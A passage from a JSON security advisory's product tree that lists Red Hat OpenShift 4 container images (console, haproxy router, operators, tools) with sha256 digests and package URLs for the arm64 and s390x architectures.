"purl": "pkg:oci/openshift/ose-console-rhel9@sha256%3A89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-console-rhel9\u0026tag=1781688743"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"product_id": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-haproxy-router-rhel9@sha256%3A38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-haproxy-router-rhel9\u0026tag=1781639027"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"product_id": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tests-rhel9@sha256%3Ab081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-tests-rhel9\u0026tag=1781197253"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-api-server-rhel9@sha256%3A29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9\u0026tag=1781687639"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-utils-rhel9@sha256%3A0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9\u0026tag=1781626550"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-ingress-rhel9-operator@sha256%3Aebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator\u0026tag=1781638907"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-kube-apiserver-rhel9-operator@sha256%3Acb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator\u0026tag=1781133392"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"product_id": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-insights-rhel9-operator@sha256%3A8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-insights-rhel9-operator\u0026tag=1781270924"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"product_id": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-config-rhel9-operator@sha256%3A3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-machine-config-rhel9-operator\u0026tag=1781694073"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"product": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"product_id": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/network-tools-rhel9@sha256%3A8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/network-tools-rhel9\u0026tag=1781572534"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"product_id": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-openshift-apiserver-rhel9@sha256%3A6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9\u0026tag=1781196883"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"product_id": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ovn-kubernetes-rhel9@sha256%3A590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9\u0026tag=1781567010"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64",
"product_id": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tools-rhel9@sha256%3Adb6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-tools-rhel9\u0026tag=1781178474"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"product_id": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ovn-kubernetes-microshift-rhel9@sha256%3A6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9\u0026tag=1781566906"
}
}
}
],
"category": "architecture",
"name": "arm64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"product": {
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"product_id": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/azure-kms-encryption-provider-rhel9@sha256%3A98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9\u0026tag=1781111957"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"product_id": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-node-tuning-rhel9-operator@sha256%3A624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator\u0026tag=1781181888"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"product": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"product_id": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/driver-toolkit-rhel9@sha256%3A647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/driver-toolkit-rhel9\u0026tag=1781291207"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"product_id": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-hypershift-rhel9@sha256%3A1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-hypershift-rhel9\u0026tag=1781660144"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"product_id": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-monitoring-plugin-rhel9@sha256%3Aa66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9\u0026tag=1781695012"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"product_id": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-networking-console-plugin-rhel9@sha256%3Ac37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9\u0026tag=1781694981"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"product": {
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"product_id": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/oc-mirror-plugin-rhel9@sha256%3Ae926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/oc-mirror-plugin-rhel9\u0026tag=1781196942"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"product_id": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-console-rhel9@sha256%3A9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-console-rhel9\u0026tag=1781688743"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"product_id": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-haproxy-router-rhel9@sha256%3A365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-haproxy-router-rhel9\u0026tag=1781639027"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"product_id": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tests-rhel9@sha256%3A3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-tests-rhel9\u0026tag=1781197253"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-api-server-rhel9@sha256%3Ae6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9\u0026tag=1781687639"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-utils-rhel9@sha256%3A89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9\u0026tag=1781626550"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"product_id": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-ingress-rhel9-operator@sha256%3Ae7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator\u0026tag=1781638907"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"product_id": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-kube-apiserver-rhel9-operator@sha256%3Ac346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator\u0026tag=1781133392"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"product_id": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-insights-rhel9-operator@sha256%3A74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-insights-rhel9-operator\u0026tag=1781270924"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"product_id": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-config-rhel9-operator@sha256%3A06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-machine-config-rhel9-operator\u0026tag=1781694073"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"product": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"product_id": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/network-tools-rhel9@sha256%3A89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/network-tools-rhel9\u0026tag=1781572534"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"product_id": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-openshift-apiserver-rhel9@sha256%3A0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9\u0026tag=1781196883"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"product_id": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ovn-kubernetes-rhel9@sha256%3A9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9\u0026tag=1781567010"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"product_id": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tools-rhel9@sha256%3A2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-tools-rhel9\u0026tag=1781178474"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"product_id": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ovn-kubernetes-microshift-rhel9@sha256%3A3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9\u0026tag=1781566906"
}
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"product": {
